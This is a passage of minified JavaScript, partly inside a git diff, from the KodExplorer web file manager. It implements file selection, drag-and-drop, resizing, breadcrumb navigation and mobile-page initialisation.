.split-box",b="split-hover";$(a).live("mouseenter",function(c){$(a).removeClass(b),$(this).addClass(b)}).die("mouseleave").live("mouseleave",function(){$(this).removeClass(b)}).die("click").live("click",function(a){q(ui.fileLight.path($(this)))}).die("mousedown").live("mousedown",function(a){var b=$(a.target).parents(".file");(0==b.length||0==b.find(".children-open").length)&&q(ui.fileLight.path($(this)))})},q=function(a){var b=$(".file-list-split .split-box"),c=$('.file-list-split .split-box[data-path="'+pathHashEncode(a)+'"]'),d=$('.file-list-split .split-box .file[data-path="'+pathHashEncode(a)+'"]'),e="split-select";0==c.length&&(c=b.last()),b.removeClass(e),c.addClass(e),0==ui.fileLight.fileListSelect().length&&d.addClass("select"),ui.fileLight.select();var f=c.data("jsonData");f&&a&&(ui.fileContent.pathTypeChange(f),G.thisPath=a,G.jsonData=f,ui.headerAddress.addressSet()),ui.fileLight.init()},r=function(a){return a.hasClass("menuSharePath")||a.hasClass("systemBox")?!1:!0},s=function(a){$("body").removeClass("cursor-mouse cursor-warning cursor-move cursor-down cursor-add"),a&&$("body").addClass("cursor-mouse cursor-"+a)},t=function(){var a,b,f,g=150,h=!1,i=!1,j=0,k=!1,l=-15,m=10,n=0,o=0,p="selectDragDraging";$(Config.FileBoxClass).die("mousedown").live("mousedown",function(b){if(!b.shiftKey){if(ui.isEdit())return!0;if(1!=b.which||d)return!0;a=$(this),u(b),$.browser.mozilla||this.setCapture&&this.setCapture(),$(document).mousemove(function(a){v(a)}),$(document).keydown(function(a){v(a)}),$(document).keyup(function(a){v(a)}),$(document).one("mouseup",function(a){y(a),this.releaseCapture&&this.releaseCapture()}),$(document).one("keyup",function(a){27==a.which&&y(!1)})}});var q,t,u=function(a){$.contextMenu.hidden(),e=!0,j=$.now(),n=a.pageY,o=a.pageX,b=$(document).height(),f=$(document).width(),i=$(a.target).parents(".file")},v=function(c){if(!e)return!0;if(!r(a))return!0;if(window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),$.now()-j>g&&!k&&(z(),h=$(".draggable-dragging"),h.attr("data-beforeInfo",h.find("span").html())),k){var d=c.clientX>=f-50?f-50:c.clientX,i=c.clientY>=b-50?b-50:c.clientY;return d=0>=d?0:d,i=0>=i?0:i,d-=l,i-=m,h.css({left:d,top:i}),w(c),K(d-o+l,i-n+m),!0}},w=function(a){clearTimeout(q),q=!1,q=setTimeout(function(){try{x(a)}catch(b){}},10)},x=function(a){var b=a.ctrlKey||a.metaKey,c=function(a,b){"undefined"!=typeof G.sid&&(a="none"),void 0!=b&&0!==b.search(G.KOD_GROUP_PATH)&&0!==b.search(G.KOD_USER_RECYCLE)&&core.isSystemPath(b)&&(a="clear");var c=htmlEncode(core.pathThis(b)),d=" "+h.attr("data-beforeInfo").replace(/<[^<>]+>/g,""),e={copyTo:''+LNG.copy_to+'"'+c+'"',moveTo:''+LNG.cute_to+'"'+c+'"',remove:''+LNG.remove+d+"",share:''+LNG.share+d+"",none:''+LNG.no_permission_write+"",clear:h.attr("data-beforeInfo")};C(b)||(e.copyTo=''+LNG.clone+""),h.find("span").html(e[a]),h.attr("data-actionType",a),h.attr("data-actionPath",b),h.attr("id","drag-action-"+a);var e={copyTo:"add",moveTo:"move",remove:"move",share:"add",none:"default",clear:"default"};s(e[a])},d=G.thisPath,e="";if($(".curDropToPath").exists())d=$(".curDropToPath").attr("data-path");else if($(".curDropTreeNode").exists()){var f=$(".curDropTreeNode").parent().attr("id"),g=ui.tree.zTree().getNodeByTId(f);d=g.path}else if($(".file-select-drag-temp").exists())d=ui.fileLight.path($(".file-select-drag-temp")),$(".file-select-drag-temp").hasClass("menu-recycle-button")&&(e="remove");else if($(".children-list-dropover").exists()){var i=$(".children-list-dropover");d=i.hasClass("children-list")?pathHashDecode(i.attr("data-path-children")):G.thisPath}else $(".split-hover").exists()?d=ui.fileLight.path($(".split-hover")):e=$(".recycle-hover").exists()?"remove":$(".share-hover").exists()&&1==ui.fileLight.fileListSelect().length?"share":"clear";e&&!b||(e=b?"copyTo":C(d)?"moveTo":"clear"),c(e,d)},y=function(a){if(!e)return!1;if(clearTimeout(q),clearTimeout(c),e=!1,k=!1,$("body").removeClass(p),h){h.addClass("animated-300").addClass("flipOutXLine").fadeOut(200,function(){h.remove(),h=!1}),$(".curDropToPath,.curDropTreeNode,.curDropTreeNode,.file-select-drag-temp,.children-list-dropover").removeClass("curDropToPath curDropTreeNode curDropTreeNode file-select-drag-temp children-list-dropover");var b=h.attr("data-actionType");if(L(-1!=$.inArray(b,["copyTo","moveTo","remove","share"])?!1:!0),s(!1),a){var d=function(a,b){switch(ShareData.data("FILE_SELECT_ARRAY",A),a){case"copyTo":ui.path.copyDrag(b,!0);break;case"moveTo":ui.path.cuteDrag(b);break;case"remove":ui.path.remove(!0);break;case"share":ui.path.share()}},f=h.attr("data-actionPath");d(b,f)}}},z=function(){$("body").addClass(p);var a=ui.fileLight.fileListSelect().length;$('
        '+a+'
        '+a+" "+LNG.file+"
        ").appendTo("body"),k=!0,setTimeout(J,20),B()},A=[],B=function(){A=[],ui.fileLight.fileListSelect().each(function(){A.push({path:ui.fileLight.path($(this)),type:"folder"==ui.fileLight.type($(this))?"folder":"file"})})},C=function(a){for(var b=0;b
        ").appendTo("body"),t=$(Config.SelectClass).filter("[data-path!='']");var c=t.clone();(t.length>=I||$.browser.msie)&&(c=i.clone()),c.appendTo(".file-draging"),c.each(function(a){var b=$(".bodymain .file-continer .file[data-path='"+$(this).attr("data-path")+"']"),d=b.offset();$(this).css({left:d.left,top:d.top,width:b.width()}),$(this).data({"data-left":d.left,"data-top":d.top,"data-animateTime":200+a*E,"data-sizeAdd":D*a}),$(this).attr("data-path")==i.attr("data-path")&&$(this).addClass("handle_target"),1==c.length&&($(this).data({"data-animateTime":0}),H=0)}),t.addClass("item-file-draging");var d=setTimeout(function(){$(".file-draging-box").data("animate","finished");var a=$(".draggable-dragging");c.each(function(b){var c=$(this),d=$(this).data("data-sizeAdd"),e=$(this).data("data-animateTime");$(this).data("status","ready"),$(this).animate({opacity:1},{duration:e,easing:"swing",progress:function(b,e,f,g,h){var i=c.offset(),j=a.offset(),k=(j.left+d-i.left)*e,l=(j.top+d+F-i.top)*e;c.css({left:i.left+k,top:i.top+l})},complete:function(){c.data("status","finished")}})})},H);$(".file-draging-box").data("dragDelay",d),$(".file-draging-box").data("animate","ready")},K=function(a,b){return"finished"!=$(".file-draging-box").data("animate")?void $(".file-draging .file").each(function(){$(this).css({left:$(this).data("data-left")+a,top:$(this).data("data-top")+b})}):void $(".file-draging .file").each(function(a){if("finished"==$(this).data("status")){var b=$(this).data("data-sizeAdd"),c=$(".draggable-dragging").offset();$(this).css({left:c.left+b,top:c.top+b+F})}})},L=function(a){var b=$(".file-draging .file").length;clearTimeout($(".file-draging-box").data("dragDelay")),$(".file-draging .file").each(function(b){var c=b*E,d=$(".bodymain .file-continer .file[data-path='"+$(this).attr("data-path")+"']");a?$(this).stop().animate({left:$(this).data("data-left"),top:$(this).data("data-top")},250+c,function(){t.removeClass("item-file-draging")}).animate({opacity:0},150,function(){$(this).remove()}):(d.stop().animate({opacity:1},100),$(this).stop().animate({opacity:0},200+c,function(){$(this).remove()}))});var c=setTimeout(function(){$(".file-draging-box").remove()},400+E*b);$(".file-draging-box").data("removeDelay",c)}},u=function(){var a=null,b=null,c=null,f=0,g=0,h=0,i=0,j="",k="bodymain";core.isApp("desktop")&&(k="file-continer");var l=$("."+k);l.die("mousedown").live("mousedown",function(a){if(!($(a.target).hasClass(k)&&$(document).width()-a.pageX<20)){if(h=$(".file-continer").outerHeight(),i=l.outerHeight(),ui.isEdit())return!0;if(1!=a.which||e)return!0;m(a),this.setCapture&&this.setCapture(),$(document).unbind("mousemove").mousemove(function(a){n(a)}),$(document).one("mouseup",function(a){clearTimeout(j),j=!1,q(a),this.releaseCapture&&this.releaseCapture()})}});var m=function(e){g=l.offset().left-l.scrollLeft(),f=l.offset().top-l.scrollTop(),"split"==G.userConfig.listType&&(f+=$(e.target).parents(".split-box").scrollTop()),$(e.target).parent().hasClass(Config.FileBoxClassName)||$(e.target).parent().parent().hasClass(Config.FileBoxClassName)||$(e.target).hasClass("fix")||($.contextMenu.hidden(),e.ctrlKey||e.metaKey||e.shiftKey||ui.fileLight.clear(),$(e.target).hasClass("ico")||(a=e.pageX-g,b=e.pageY-f,j=setTimeout(function(){d=!0,0==$(".select-container").length&&$('
        ').appendTo(Config.FileBoxSelector),c=$(".select-container")},100)))},n=function(e){if(!d)return!0;var f=e.pageX-l.offset().left+l.scrollLeft(),g=e.pageY-l.offset().top+l.scrollTop(),j=Math.abs(f-a),k=Math.abs(g-b);g>b&&k>h-b&&h>i&&(k=h-b),o(g,b,k,l),c.css({left:Math.min(f,a)+2,top:Math.min(g,b)+2,width:j,height:k}),ui.fileLight.fileListAll().length<1e3&&p()},o=function(a,b,c,d){var e=d.outerHeight(),f=d.scrollTop(),g=f;if(a>b){var h=b+c,i=e+f,j=h-i;j>0?g+=j:-e>j&&(g+=e-Math.abs(j))}else if(b>a){var k=b-c,l=f,j=k-l;0>j?g+=j:j>e&&(g+=Math.abs(j)-e)}g!==f&&d.stop(!0,!1).animate({scrollTop:g},100)},p=function(){for(var a=c.offset().left-l.offset().left+l.scrollLeft(),b=c.offset().top-l.offset().top+l.scrollTop(),d=a+c.width(),e=b+c.height(),f=ui.fileLight.fileListAll(),g=0;g=g||g%f==0?g:g-1;break;case"left":e=0>=g-f?0:g-f;break;case"pagedown":case"down":e=h>=d||(h+1)%f==0?h:h+1;break;case"right":e=h+f>=d?d:h+f}return b.eq(e)},y=function(a){if(core.isApp("desktop"))return x(a);var b=w.fileListAll(),c=w.fileListSelect(),d=b.length-1,e=0,f=ui.getRowfileNumber(),g=ui.getPagefileNumber(),h=b.index(c.first()),i=b.index(c.last());switch(a){case"up":e=0>=h-f?0:h-f,e=z(e,!1);break;case"left":e=0>=h?0:h-1;break;case"down":e=i+f>=d?d:i+f,e=z(e,!0);break;case"right":e=i>=d?i:i+1;break;case"pageup":e=0>=h-g?0:h-g,e=z(e,!1);break;case"pagedown":e=i+g>=d?d:i+g,e=z(e,!0)}return b.eq(e)},z=function(a,b){for(var c=w.fileListAll(),d=c.eq(a),e=c.length;0!=d.parents(".hidden").length;){if(b?a++:a--,0>=a||a>=e)return a;d=c.eq(a)}return a},A=function(a){var b,c=w.fileListAll(),d=w.fileListSelect(),e="",f=!1;switch(a.indexOf("shift+")>=0&&(f=!0,a=a.replace("shift+","")),a){case"home":e=d.last(),b=c.first();break;case"end":e=d.first(),b=c.last();break;case"left":e=d.last(),b=y(a);break;case"up":e=d.last(),b=y(a);break;case"right":e=d.first(),b=y(a);break;case"down":e=d.first(),b=y(a);break;case"pageup":e=d.last(),b=y(a);break;case"pagedown":e=d.first(),b=y(a);break;case"clear":return void ui.fileLight.clear();case"reverse":return c.each(function(){$(this).toggleClass(Config.SelectClassName)}),ui.fileLight.select(),void ui.fileLight.setInView();case"all":b=c}if(!C(a)){if(f&&""!=e){var g=c.index(e),h=c.index(b);if(g>h){var i=g;g=h,h=i}return void D(g,h,c)}B(b)}},B=function(a){0!=a.length&&(ui.fileLight.clear(),a.addClass(Config.SelectClassName),ui.fileLight.select(),ui.fileLight.setInView(),"split"==G.userConfig.listType&&1==a.length&&o($(ui.fileLight.fileListSelect()[0])))},C=function(a){var b=$(ui.fileLight.fileListSelect()[0]);if("icon"==G.userConfig.listType)return!1;switch(a){case"left":if("list"==G.userConfig.listType)if(1==b.find(".children-more-cert.cert-open").length)b.find(".children-more-cert").removeClass("cert-open"),b.next().addClass("hidden");else{var c=b.parent(".children-list").prev(".file");B(c)}else if("split"==G.userConfig.listType){var c=b.parents(".split-box").prev().find(".select-split-parent");B(c)}break;case"right":if("list"==G.userConfig.listType)1==b.find(".children-more-cert").length&&(ui.fileContent.pathChildrenTree(b),b.find(".children-more-cert").addClass("cert-open"),b.next().removeClass("hidden"));else if("split"==G.userConfig.listType){var c=b.parents(".split-box").next().find(".file:eq(0)");B(c)}break;default:return!1}return!0},D=function(a,b,c){if(core.isApp("desktop"))return E(a,b,c);ui.fileLight.clear();for(var d=a;b>=d;d++)$(c[d]).addClass(Config.SelectClassName);ui.fileLight.select()},E=function(a,b,c){var d=ui.getColfileNumberDesktop(),e=Math.ceil(w.fileListAll().length/d),a={row:a%d,col:parseInt(a/d)},b={row:b%d,col:parseInt(b/d)};if(b.row=k;k++)g(h,k)}ui.fileLight.select()};return{init:function(){g(),p(),t(),u()},isDraging:function(){return e},selectSplit:q,selectPos:A}});;define("app/src/explorer/fileListResize",[],function(a,b){var c={filename:250,filetype:80,filesize:80,filetime:150,explorerTreeWidth:199,editorTreeWidth:199},d={filename:150,filetype:60,filesize:60,filetime:120,explorerTreeWidth:2,editorTreeWidth:2},e=c,f=function(){if(LocalData.get("resizeConfig"))e=jsonDecode(LocalData.get("resizeConfig"));else{"undefined"!=typeof G.userConfig.resizeConfig&&(e=jsonDecode(htmlDecode(G.userConfig.resizeConfig)));var a=jsonEncode(e);LocalData.set("resizeConfig",a)}$.each(c,function(a,b){(!e[a]||e[a]n-8&&n+8>j&&(j=n+1),f){var o=400;k.animate({width:j},o),l.animate({left:j-5},o),m.animate({left:j},o)}else k.css("width",j),l.css("left",j-5),m.css("left",j);"undefined"!=typeof ui.setStyle&&ui.setStyle(),b&&(e=i,g())}},j=function(){return void 0!=$.getUrlParam("type")?!0:!1},k=function(a,b,c){var f=$.extend(!0,{},e);f[a]+=b,h(f),c&&(e=f,$.each(e,function(a,b){b<=d[a]&&(e[a]=d[a])}),g())},l=function(){$("#main-title").hasClass("bind-init")||(h(e),$("#main-title").addClass("bind-init"),$.each(c,function(a,b){$("#main-title ."+a+"-resize").drag({start:function(){},move:function(b,c){k(a,b,!1)},end:function(b,c){k(a,b,!0)}})}))},m=function(){var a=$(".frame-resize");a.drag({start:function(){a.addClass("active"),$(".resize-mask").css("display","block")},move:function(a,b){i(a,!1,!1)},end:function(b,c){i(b,!0,!1),a.removeClass("active"),$(".resize-mask").css("display","none")}})},n=function(){var a="fileIconSize";core.isApp("desktop")&&(a="fileIconSizeDesktop");var b=G.userConfig[a];b||(b="75"),q(b,!1),o(b)},o=function(a){$(".set-file-icon-size .file-icon-size").removeClass("selected");for(var b=[["40","box-size-smallx"],["60","box-size-small"],["80","box-size-default"],["100","box-size-big"],["120","box-size-bigx"]],c=10,d="",e=0;e=f-c&&f+c>=a){d=b[e][1];break}}""!=d&&$("."+d).addClass("selected")},p=function(a){var b="fileIconSize";core.isApp("desktop")&&(b="fileIconSizeDesktop"),G.userConfig[b]=a,o(a),$.get(G.appHost+"setting/set&k="+b+"&v="+a)},q=function(a,b){var c=a,d=105,e=30,f=250;core.isApp("desktop")&&(e=40,f=150),c=e>=c?e:c,c=c>=f?f:c;var g=(a-e)*d/(f-e),h=20,i=10,j=parseInt(c),k=j+2*h-i+5,l=j-i,m=j-i,n=.4*j,o=j+3*h-i,q=".file-list-icon div.file,.file-list-icon .flex-empty{height:"+k+"px;width:"+j+"px;}";core.isApp("desktop")&&(k-=5,q="div.file-list-icon div.file,.file-list-icon .flex-empty{height:"+k+"px;width:"+j+"px;}"),$.browser.mozilla&&(m-=4);var r="div.file-list-icon div.file{max-height:"+o+"px;}"+q+" .file-list-icon .meta-info{height:"+n+"px;width:"+n+"px; margin-right:"+.16*n+"px;margin-top:-"+1.1*n+"px;} .file-list-icon div.file .filename{width:"+j+"px;} .file-list-icon div.file .filename #pathRenameTextarea, .file-list-icon div.file .filename .newfile{width:"+j+"px;} .file-list-icon div.file .ico{padding-left:"+i/2+"px;height:"+m+"px;width:"+l+"px} .file-list-icon div.file .ico.picture{width:"+l+"px;padding-left:"+i/2+"px;overflow:hidden;display:block;} ";$.setStyle(r,"file_icon_resize"),$(".slider-handle").css("top",g),b&&p(a)},r=function(){var a,b=$(".slider-handle");$(".set-icon-size-slider").bind("click",function(a){return stopPP(a),!1});var c=function(b){var c=0,d=105,e=30,f=250,g=a+b;g=c>g?c:g,g=g>d?d:g;var h=parseInt(g/d*(f-e)+e);return q(h,!1),h};b.drag({start:function(c){b.addClass("active"),a=parseInt(b.css("top"))},move:function(a,b,d){c(b)},end:function(a,d,e){b.removeClass("active"),p(c(d),!0)}});var d=$(".slider-bg");$(".slider-bg").unbind("click").bind("click",function(b){var e=b.clientY-d.offset().top;a=0,p(c(e),!0)})},s=function(){var a=function(a,b){var c=a.parent(),d=$(".split-box").index(c),e=parseInt(c.data("before_width"))+b;if(!(150>e)){$($(".split-line").get(d)).css("width",e),c.css("width",e),$(".split-box:gt("+d+")").each(function(){$(this).hasClass("is-drag-split")||$(this).css("left",parseInt($(this).data("before_left"))+b+"px")});var f=[];$(".split-box").each(function(){f.push({left:$(this).css("left"),width:$(this).width()})}),LocalData.set("splitBoxSize",jsonEncode(f))}};$(".bodymain .file-list-split .split-drag").drag({start:function(a,b){var c=b.parent();c.addClass("is-drag-split").data("before_width",c.width()),$(".split-box,.split-line").each(function(){$(this).data("before_left",$(this).css("left"))})},move:function(b,c,d,e){a(e,b)},end:function(a,b,c,d){d.parent().removeClass("is-drag-split")}},!0),$(".file.select-split-parent").removeClass("select-split-parent"),$(".split-box").each(function(){$('.file[data-path="'+$(this).attr("data-path")+'"]').addClass("select-split-parent")}),t()},t=function(){var a=LocalData.get("splitBoxSize"),b=0;a=!a||jsonDecode(a)?[]:jsonDecode(a);var c=function(c,d){var e=a[d];e||(e={width:250,left:b}),b+=e.width+1,c.css({width:e.width+"px",left:e.left})};b=0,$(".split-box").each(function(a){c($(this),a)}),b=0,$(".split-line").each(function(a){c($(this),a)}),$(".bodymain").scrollLeft(1e5)};return{init:function(){f(),j()&&(e=c),h(e),m(),i(0,!1,!0),r()},initFileSize:n,bindSplitResize:s,bindHeaderResize:l,setFileIconSize:q}});;define("app/src/explorer/headerAddress",[],function(a,b){var c=function(){$("#yarnball li a").die("click").live("click",function(a){var b=$(this).attr("data-path");g(b),stopPP(a)}),$("#yarnball").die("click").live("click",function(){return $("#yarnball").css("display","none"),$("#yarnball-input").css("display","block"),$("#yarnball-input input").focus(),!0});var a=$("#yarnball-input input");a.die("blur").live("blur",function(){g(a.val())}).keyEnter(function(){g(a.val())}),$(".header-right input").keyEnter(function(a){ui.path.search($(".header-right input").val(),G.thisPath)}),$(".header-right input").bind("keyup focus",function(){ui.path.setSearchByStr($(this).val())}),$(".header-content a,.header-content button").click(function(a){var b=$(this).attr("id");switch(b){case"btn-history-back":ui.path.history.back();break;case"btn-history-next":ui.path.history.next();break;case"refresh":ui.f5(!0,!0),ui.tree.init();break;case"home":ui.path.list(G.myhome);break;case"fav":ui.path.pathOperate.fav({path:G.thisPath,type:"folder",name:$("ul.yarnball li:last .title-name").html()});break;case"goto-father":h();break;case"setting":core.setting();break;case"search":ui.path.search($(".header-right input").val(),G.thisPath)}return!0})},d=function(a){var b=G.thisPath;f(G.thisPath),$("#yarnball-input").css("display","none"),$("#yarnball").css("display","block");var c=function(a){var b='
      • {$3}
      • ',c='
      • {$3}
      • ';a=a.replace(/\/+/g,"/");var d=a.split("/");""==d[d.length-1]&&d.pop();var e=d[0]+"/",f=b.replace(/@1@/g,e),g=d[0],h="";if(G.jsonData.info&&G.jsonData.info.pathType&&""!=d[0]){var i=core.getPathIcon(G.jsonData.info,G.jsonData.info.name);h=''+core.iconSmall(i.icon)+"",g=i.name}f=f.replace("{$2}",d.length),f=f.replace("{$3}",h+''+htmlEncode(g)+"");for(var j=f,k=1,l=d.length-1;k'+htmlEncode(d[k])+""),j+=f}return'
          '+j+"
        "};void 0==a&&$("#yarnball").html(c(b)),e()},e=function(){$(".yarnball").stop(!0,!0);var a=$("#yarnball").innerWidth(),b=0;$("#yarnball li a").each(function(a){b+=$(this).outerWidth()+parseInt($(this).css("margin-left"))+5});var c=a-b;0>=c?$(".yarnball").css("width",b+"px").css("left",c+"px"):$(".yarnball").css({left:"0px",width:a+"px"})},f=function(a){var b=$("#yarnball-input .path");if(void 0==a){var c=b.val();return c=rtrim(core.pathClear(c))+"/"}b.val(a)},g=function(a,b){a=a.replace(/\\/g,"/"),ui.path.list(a),d(b)},h=function(){var a=f();if("/"==a||-1==a.indexOf("/"))return void Tips.tips(LNG.path_is_root_tips,"warning");var b=core.pathFather(a);ui.path.list(b),d()};return{init:c,addressSet:d,resetWidth:e,gotoFather:h}});;define("app/src/explorer/options",[],function(a,b){var c=function(){"0"==_.get(window,"G.userConfig.fileSelect")&&$.addStyle(".file-continer .file .item-select, .file-continer .file .item-menu{display:none !important;}")},d=function(){"0"==_.get(window,"G.userConfig.imageThumb")&&Hook.bind("explorer.list.fileThumb",function(a,b){var c="icon"!=G.userConfig.listType,d=["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"];return inArray(d,b)?"
        "+core.icon(b,c)+"
        ":void 0})};return{init:function(){c(),d()}}}); \ No newline at end of file diff --git a/static/js/app/src/explorerWap/main.js b/static/js/app/src/explorerWap/main.js index 2266668..3426265 100755 --- a/static/js/app/src/explorerWap/main.js +++ b/static/js/app/src/explorerWap/main.js @@ -1,6 +1,2 @@ -/*! power by kodcloud ver4.25(2017-12-04) [build 1512365183740] */ -define("app/src/explorerWap/main",["lib/jquery-lib","lib/util","lib/artDialog/jquery-artDialog","../../common/core","../../common/rightMenuExtence","../../app/appBase","../../app/editor","../../app/openWith","../../app/html","./ui","./path","../../path/pathOperate","../../path/clipboard","../../path/search"],function(e){Config={BodyContent:".bodymain",FileBoxSelector:".file-continer",FileBoxClass:".file-continer .file",FileBoxClassName:"file",FileBoxTittleClass:".file-continer .title",SelectClass:".file-continer .select",SelectClassName:"select",TypeFolderClass:"folder-box",TypeFileClass:"file-box",HoverClassName:"hover",FileOrderAttr:"number",TreeId:"folder-list-tree",pageApp:"explorerWap",AnimateTime:200},e("lib/jquery-lib"),e("lib/util"),e("lib/artDialog/jquery-artDialog"),core=e("../../common/core"),ui=e("./ui"),ui.path=e("./path"),$(document).ready(function(){core.init(),ui.init(),ui.path.init(),$(".init-loading").fadeOut(450).addClass("pop_fadeout"),e.async("lib/webuploader/webuploader-min",function(){core.uploadInit(),window.uploader.on("uploadFinished",function(){Tips.tips(LNG.upload_success),$.artDialog.list["dialog-file-upload"].close()})}),$(".common-footer").appendTo(".panel-menu")})}),define("app/common/core",["./rightMenuExtence","../app/appBase","../app/editor","../app/openWith","../app/html"],function(require,exports){tplUpload=require("./tpl/upload.html"),tplFormMake=require("./tpl/formMake.html");var tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound"),formMake=require("./core.formMake");require("./rightMenuExtence"),kodApp=require("../app/appBase"),require("../app/editor"),require("../app/openWith"),require("../app/html"),pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initTemplate=function(){window.require=require,template.config||(template.config=function(e,t){template.defaults[e]=t},template.helper=function(e,t){template.defaults.imports[e]=t}),template.config("escape",!1),template.config("compress",!0),template.helper("kod",{$:$,window:window,log:console.log,core:core,pathTools:window.pathTools,inArray:inArray}),template.defaults.imports.pathTools=window.pathTools,template.defaults.escape=!1,"_dev"==G.environment?(template.defaults.cache=!1,template.defaults.minimize=!1,template.defaults.compileDebug=!0):(template.defaults.cache=!0,template.defaults.minimize=!0,template.defaults.compileDebug=!1)},initFirst=function(){initTemplate(),"undefined"!=typeof G&&(1!=G.isRoot&&$(".menu-system-setting").remove(),G.isRoot||core.authCheck("systemMember.get")||1==core.authCheck("systemGroup.get")||$(".menu-system-group").remove(),G.userConfig&&"0"==G.userConfig.animateOpen&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{$.contextMenu.hidden()}catch(e){}}),$("body").click(function(){ShareData.frameTop("",function(e){self!=e&&e.$("body").trigger("click")})}),$.dialog.defaults.animate&&loadRipple(["a","button",".ripple-item",".context-menu-item","#picker",".menuShareButton",".menu-recycle-button",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("X-CSRF-TOKEN")}}),$(".common-footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init();for(var e=0;window.kodReady.length>e;e++)try{window.kodReady[e]()}catch(t){console.error("kodReady error:",t)}Hook.trigger("kodReady.end"),titleTips()},resetHost=function(){var e=window.location,t=e.port?":"+e.port:"";G.webHost=e.protocol+"//"+e.hostname+t+"/",G.appHost=rtrim(G.webHost,"/")+e.pathname.replace("index.php","")+"index.php?",G.appRoot=rtrim(G.webHost,"/")+e.pathname.replace("index.php",""),"1"==G.settings.paramRewrite&&(G.appHost=G.appHost.replace("index.php?","index.php/")),Cookie.set("HOST",G.webHost),Cookie.set("APP_HOST",G.appRoot),Cookie.set("kodUserLanguage",G.lang,8760)},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var t=$($(this).attr("title-data"));e=t.is("input")||t.is("textarea")?t.val():t.html()}return e=e?e:"",e.replace(/\n/g,"
        ")}}),$("body").bind("mousedown",function(){$(".ptips-skin").remove(),$.setStyle("body .ptips-skin{display:none !important;}","ptips-title")}).bind("mouseup",function(){$.setStyle("","ptips-title")}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,tools:tools,api:api,formMake:formMake,getPathIcon:function(e,t){if(t=void 0==t?"":t,"string"==$.type(e)){var a=trim(trim(e),"/");if(e={},"{"!=a.substring(0,1)||a.split("/").length>1)return{icon:"",name:""};e.pathType=a.match(/\{.*\}/),e.id=a.split(":")[1]}var i={};i[G.KOD_USER_SHARE]={icon:"user-self",name:LNG.my_share},i[G.KOD_GROUP_PATH]={icon:"group-self-owner"},i[G.KOD_GROUP_SHARE]={icon:"group-guest"},i[G.KOD_USER_SELF]={icon:"user-self"},i[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},i[G.KOD_USER_FAV]={icon:"tree-fav",name:LNG.fav},i[G.KOD_GROUP_ROOT_SELF]={icon:"group-self-root",name:LNG.my_kod_group},i[G.KOD_GROUP_ROOT_ALL]={icon:"group-root",name:LNG.kod_group};var n=i[e.pathType];return e.pathType==G.KOD_USER_SHARE&&G.userID!=e.id?n={icon:"user",name:t}:e.pathType==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"group-self-owner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=t),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var t=e.match(/\{.*\}/),a=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL];return-1!==$.inArray(t[0],a)?!0:!1},pathPre:function(e){if(e=trim(trim(e),"/"),void 0==e||"{"!=e.substring(0,1))return"";var t=e.match(/\{.*\}/);return t[0]},contextmenu:function(e){try{$.contextMenu.hidden()}catch(t){}var t=e||window.event;return t?t&&$(t.target).is("textarea")||$(t.target).is("input")||$(t.target).is("p")||$(t.target).is("pre")||0!=$(t.target).parents(".can-right-menu").length||0!=$(t.target).parents(".topbar").length||0!=$(t.target).parents(".edit-body").length||0!=$(t.target).parents(".aui-state-focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var t=rtrim(this.pathClear(e),"/"),a=t.lastIndexOf("/"),i=t.substr(a+1);if(0==i.search("fileProxy")){i=urlDecode(i.substr(i.search("&path=")));var n=i.split("/");i=n[n.length-1],""==i&&(i=n[n.length-2])}return i},pathClear:function(e){if(!e)return"";var t=e.replace(/\\/g,"/");return t=t.replace(/\/+/g,"/"),t=t.replace(/\.+\//g,"/")},pathFather:function(e){var t=rtrim(this.pathClear(e),"/"),a=t.lastIndexOf("/");return t.substr(0,a+1)},pathExt:function(e){var t=trim(e,"/");return-1!=t.lastIndexOf("/")&&(t=t.substr(t.lastIndexOf("/")+1)),-1!=t.lastIndexOf(".")?t.substr(t.lastIndexOf(".")+1).toLowerCase():t.toLowerCase()},pathUrlEncode:function(e){if(!e)return"";var t=urlEncode(e);return t=t.replace(/%2F/g,"/")},path2url:function(e,t){if("http"==e.substr(0,4))return e;void 0==t&&(t=!0);var a,i=this.pathClear(e);return G.isRoot&&t&&i.substring(0,G.webRoot.length)==G.webRoot?a=G.webHost+this.pathUrlEncode(i.replace(G.webRoot,"")):(a=G.appHost+"explorer/fileProxy&accessToken="+G.accessToken+"&path="+urlEncode(i),G.sharePage!==void 0&&(a=G.appHost+"share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(i),i.substr(0,G.KOD_USER_SHARE.length)==G.KOD_USER_SHARE&&(a=G.appHost+"share/fileProxy&path="+urlEncode(i)))),a},pathCommon:function(e){if("http"==e.substr(0,4))return urlEncode(e);if(e.substr(0,G.KOD_USER_SHARE.length)==G.KOD_USER_SHARE)return urlEncode(e);var t=this.pathClear(e),a=urlEncode(t);return 